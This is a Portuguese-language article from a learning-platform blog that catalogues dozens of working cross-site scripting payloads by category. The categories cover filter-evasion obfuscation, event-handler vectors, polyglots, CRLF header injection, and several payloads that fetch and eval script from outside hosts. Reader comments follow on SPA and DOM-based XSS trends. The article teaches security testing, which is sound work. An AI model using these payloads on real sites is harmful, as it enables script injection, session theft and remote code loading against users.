image

Acesse bootcamps ilimitados e +650 cursos pra sempre

60
%OFF
bruno
bruno01/09/2025 15:32
Compartilhe

Alguns XSS Profissionais para você aprender

    Artigo: Propósito de Cada Payload XSS na Lista Fornecida

    Introdução ao XSS e à Importância das Payloads

    Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança web que permite a injeção de scripts maliciosos em páginas confiáveis, executados no navegador do usuário. Em 2025, com o avanço de filtros como Web Application Firewalls (WAFs) e Content Security Policy (CSP), as payloads XSS evoluíram para contornar essas defesas. Cada payload na lista serve a um propósito específico: testar contextos de injeção (HTML, atributos, JavaScript, CSS, URL), evadir filtros de sanitização, explorar parsers de browsers ou validar exploits em cenários reais.

    A lista fornecida contém variações de payloads, muitas semelhantes, projetadas para bypass de filtros como encoding (URL, HTML entity, Unicode), obfuscação (quebra de strings, uso de funções como eval(), atob()), eventos (onload, onerror), e tags especiais (SVG, iframe). Vou categorizá-las para facilitar a compreensão, explicando o propósito de cada grupo com exemplos. Propósitos comuns incluem:

    • Testar execução básica: Verificar se o site permite scripts diretos.
    • Evadir filtros: Usar encodings ou estruturas complexas para passar por validações.
    • Explorar contextos específicos: Atacar atributos HTML, eventos ou parsers de browsers.

    Categorias e Propósitos das Payloads

    1. Payloads Básicas com Alert/Confirm/Prompt

    Essas payloads usam funções como alert(), confirm() ou prompt() para exibir pop-ups, testando execução imediata de JavaScript. Propósito: Provar conceito (PoC) em testes manuais ou automatizados, verificando se o input é refletido sem sanitização. São úteis para XSS refletido ou armazenado, mas fáceis de filtrar.

    • \');confirm(1);//: Propósito: Escapar de strings em contextos JavaScript (ex.: dentro de uma função), usando aspas e ponto-vírgula para injetar código. Útil para bypass de filtros que escapam aspas simples/duplas.
    • <script>prompt(1)</script>: Propósito: Injetar script direto em HTML, testando se tags <script> são permitidas. Variante de alert() para browsers que bloqueiam pop-ups.
    • <script>confirm(1)</script>: Similar ao anterior, mas usa confirm() para interagir com o usuário, testando execução em contextos interativos.
    • <svg onload=alert(1)>: Propósito: Explorar SVG como vetor, executando em onload. Útil para bypass de filtros que ignoram SVG, comum em apps modernas.
    • Outras: <img src=x onerror=alert(1)>, <iframe src=javascript:alert(1)> – Propósito: Testar eventos de erro/carregamento ou iframes para execução sem interação do usuário.

    2. Payloads Obfuscadas com Funções JavaScript (eval, atob, fromCharCode)

    Essas usam funções como eval(), atob() (decodificação base64) ou fromCharCode() para construir scripts dinamicamente. Propósito: Evadir filtros de assinatura que buscam "alert(1)" diretamente, reconstruindo o código em runtime. Ideais para WAFs que bloqueiam strings óbvias.

    • <script>var fn=window[490837..toString(1<<5)]; fn(atob('YWxlcnQoMSk='));</script>: Propósito: Converter número para string ("alert") via toString(base 32), decodificar base64. Testa obfuscação numérica e base64 para bypass de filtros regex.
    • <script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob('YWxlcnQoMSk='));</script>: Propósito: Construir "eval" com fromCharCode, executar código decodificado. Útil para evadir detecção de "eval".
    • <script>var fn=window[atob('ZXZhbA==')];fn(atob('YWxlcnQoMSk='));</script>: Similar, usa atob para "eval" e payload. Propósito: Testar decodificação em cadeia.
    • <script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>: Propósito: Obfuscar "alert" numericamente, decodificar. Variantes como this[...] testam escopos (window vs. this).
    • <script>[class extends[alert``]{}]</script>: Propósito: Usar classes ES6 para executar alert em template literals. Testa parsers modernos de JS.
    • Outras: <script>eval('\\u'+'0061'+'lert(1)')</script>, <script>throw~delete~typeof~prompt(1)</script> – Propósito: Unicode ou operadores para obfuscar, testando parsers que ignoram sequências incomuns.

    3. Payloads com Replace e Manipulação de Strings

    Usam replace() para substituir padrões e executar código. Propósito: Injetar em contextos onde strings são processadas dinamicamente, evadindo filtros que não capturam regex.

    • <script>'str1ng'.replace(/1/,alert)</script>: Propósito: Substituir '1' por alert, executando. Testa manipulação de strings em JS.
    • <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script>: Propósito: Regex para substituir "alert(1)" e eval. Útil para bypass de filtros regex.
    • <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>: Propósito: Reconstruir "alert" via captura de grupos, testando funções anônimas.

    4. Payloads com Event Handlers e Atributos

    Usam eventos como onload, onmouseover para triggers. Propósito: Testar XSS em atributos HTML, requerendo interação ou carregamento automático. Úteis para DOM XSS ou onde scripts diretos são bloqueados.

    • <x/onmouSeenter=window[\x61\x6c\x65\x72\x74]1337``: Propósito: Obfuscar "alert" com hex, usar mouseenter. Testa eventos de mouse e encoding hex.
    • <svg </onload ="1> (_=alert,_(1)) "">: Propósito: Executar em onload de SVG, usando variável. Bypass para filtros de tags comuns.
    • javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>: Propósito: Polyglot para múltiplos contextos, evadindo parsers com comentários e eventos.
    • <marquee loop=1 width=0 onfinish=alert(1)>: Propósito: Usar animação obsoleta para trigger, testando suporte legado.
    • <p onbeforescriptexecute="alert(1)"><svg><script>\</p>: Propósito: Interceptar execução de scripts, testando eventos raros.
    • <img onerror=alert(1) src <u></u>: Propósito: Trigger em erro de imagem, testando fontes inválidas.
    • <videogt;<source onerror=javascript:prompt(911)gt;: Propósito: Erro em vídeo, usando prompt para interação.
    • <base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>: Propósito: Redefinir base para injetar scripts em links.
    • <style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <: Propósito: Usar animações CSS para trigger, evadindo filtros JS.
    • <svg onpointerenter=z=alert,z(document.domain)>: Propósito: Evento pointer para alert de domínio, testando roubo de dados.
    • Outras: Muitas variações de onload/onerror em tags como img, svg, iframe – Propósito: Automatizar execução sem clique.

    5. Payloads com Classes e Construtores

    Usam classes ES6 ou construtores para executar código. Propósito: Explorar features modernas de JS, bypassando filtros que bloqueiam funções diretas.

    • <script>${``[class extends[alert``]{}]}</script>: Propósito: Template literals e classes para executar alert.
    • <script>throw new class extends Function{}('alert(1)')``</script>: Propósito: Herdar de Function para criar/eval código.
    • <script>new class extends alert(1){}</script>: Propósito: Executar alert via herança de classes.
    • <script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>: Propósito: Herança múltipla para obfuscar.

    6. Payloads com Obfuscação Numérica/Hex/Unicode

    Usam conversões numéricas ou hex para construir strings. Propósito: Evadir filtros de palavras-chave como "alert", reconstruindo via matemática ou encoding.

    • <script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script>: Propósito: Unescape e atob para "ownerDocument.defaultView.alert", testando decodificação.
    • <script src=data:,\u006fnerror=\u0061lert(1)></script>: Propósito: Unicode para "onerror=alert", bypass de filtros ASCII.
    • <script>x = '<!--<script>'/*</script>-->*/;alert(1)</script: Propósito: Comentários para obfuscar.
    • <svg><script/xlink:href="data:,alert(1)">: Propósito: HREF em SVG para carregar script via data URI.

    7. Payloads com Requests Externos ou Redirects

    Incluem src para carregar scripts externos. Propósito: Testar roubo de dados ou injeção remota, como exfiltração de cookies via img/script.

    • <script>$.getScript("//hackeroneofjaaah.xss.ht")</script>: Propósito: Carregar script remoto via jQuery, testando CSP bypass.
    • <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//hackeroneofjaaah.xss.ht");a.send();</script>: Propósito: AJAX para carregar e eval código remoto.
    • <object+data=//14.rs>: Propósito: Data URI para injeção externa.

    8. Payloads Polyglots e Complexos

    Combinam múltiplas técnicas. Propósito: Funcionar em vários contextos, testando parsers robustos.

    • javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>: Propósito: Polyglot para HTML/JS/SVG, evadindo múltiplos parsers.
    • %0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>: Propósito: Injeção em headers para redirect com script.

    9. Payloads Específicas para Browsers ou Legados

    Usam features obsoletas ou browser-specific. Propósito: Testar compatibilidade e legado, como IE ou Firefox.

    • <svg><script/xlink:href=data:,alert(1)></script>: Propósito: XLink em SVG para carregar script (legacy browsers).
    • <frameset/onpageshow=alert(1)>: Propósito: Evento em frameset obsoleto.

    Conclusão

    Cada payload na lista serve para explorar variações de XSS, focando em bypass de filtros, contextos específicos e obfuscação. Em testes de segurança 2025, use-as eticamente para identificar falhas, priorizando prevenção como encoding de saída e CSP. Para mais, consulte cheat sheets como OWASP ou PortSwigger.

    Compartilhe
    Recomendados para você
    Ri Happy - Front-end do Zero #2
    Avanade - Back-end com .NET e IA
    Akad - Fullstack Developer
    Comentários (4)
    bruno
    bruno - 01/09/2025 16:56

    Nos próximos anos (2025-2030), o maior desafio será nos apps modernos, onde a inovação rápida cria novos vetores (ex.: AI-generated code vulnerável ou edge-side rendering). Legacy continua problemático, mas o crescimento de SPAs (projetado em 70% das apps web até 2026) amplifica o risco em escala global. Recomendo priorizar CSP strict, validação client/server e scans automáticos para ambos. O que acha? Qual o seu contexto com XSS?

    bruno
    bruno - 01/09/2025 16:56

    Apps modernas, especialmente SPAs, dependem pesadamente de JavaScript no ld do cliente para renderização dinâmica e manipulação d DOM (Document Object Model). Isso cria uma superfície de ataque maior para variantes como DOM-based XSS, onde o código malicioso é executado diretamente no navegador, sem passar pelo servidor. Ataques evoluem para explorar:

    • Injeções em frameworks: Bibliotecas como React podem mitigar XSS clássico com escaping automático (ex.: JSX), mas falhas surgem em usos indevidos, como dangerouslySetInnerHTML ou template injection. Ataques como mutation XSS (alterando o DOM pós-render) ou via third-party libs são crescentes.
    • Ataques client-side avançados: Com o aumento de PWAs (Progressive Web Apps) e APIs, vetores como XSS via WebSockets, Service Workers ou storage (ex.: localStorage) se tornam comuns. Previsões para 2025 indicam foco em "serverless" e edge computing, ampliando riscos.
    • Dificuldade de detecção: Em SPAs, ferramentas tradicionais como scanners falham em identificar DOM-XSS, que requer análise de código JS. OWASP e PortSwigger destacam que esses ataques são subestimados, mas crescem com a adoção de JS frameworks.


    bruno
    bruno - 01/09/2025 16:55

    Na minha visão, baseada em tendências atuais d segurança web, o maior desafio em Cross-Site Scripting (XSS) nos próximos anos vai estar nos novos vetores d ataque em apps modernas, cmo Single Page Applications (SPAs) e frameworks JavaScript (ex.: React, Angular, Vue). Isso não significa q as falhas clássicas em sistemas legados vão desaparecer – elas persistem e causam danos –, mas o foco dos atacantes e pesquisadores está se deslocando para ambientes client-side complexos, onde as injeções são mais sutis e difíceis de detectar.

    DIO Community
    DIO Community - 01/09/2025 16:22

    Muito bom o nível de detalhamento que você trouxe, Bruno. A forma como categorizou os diferentes tipos de payloads XSS torna o artigo não só técnico, mas também didático para quem está começando a entender o tema. Gostei bastante de como você explicou o propósito de cada variação e conectou isso com os avanços em filtros modernos, como WAF e CSP, porque dá contexto de por que esses exemplos ainda são relevantes em 2025.

    Na DIO valorizamos muito quando temas de segurança da informação são tratados de forma clara e responsável, mostrando que o aprendizado não é sobre explorar falhas, mas sim sobre entender os riscos e fortalecer sistemas contra eles. O seu texto reflete isso: cada payload vira uma lição prática de como os atacantes pensam e de como os profissionais de segurança precisam se antecipar.

    Me conta: você enxerga que, nos próximos anos, o maior desafio em XSS vai estar em novos vetores em apps modernos (como SPAs e frameworks JS) ou ainda na persistência de falhas clássicas em sistemas legados que continuam sem correções adequadas?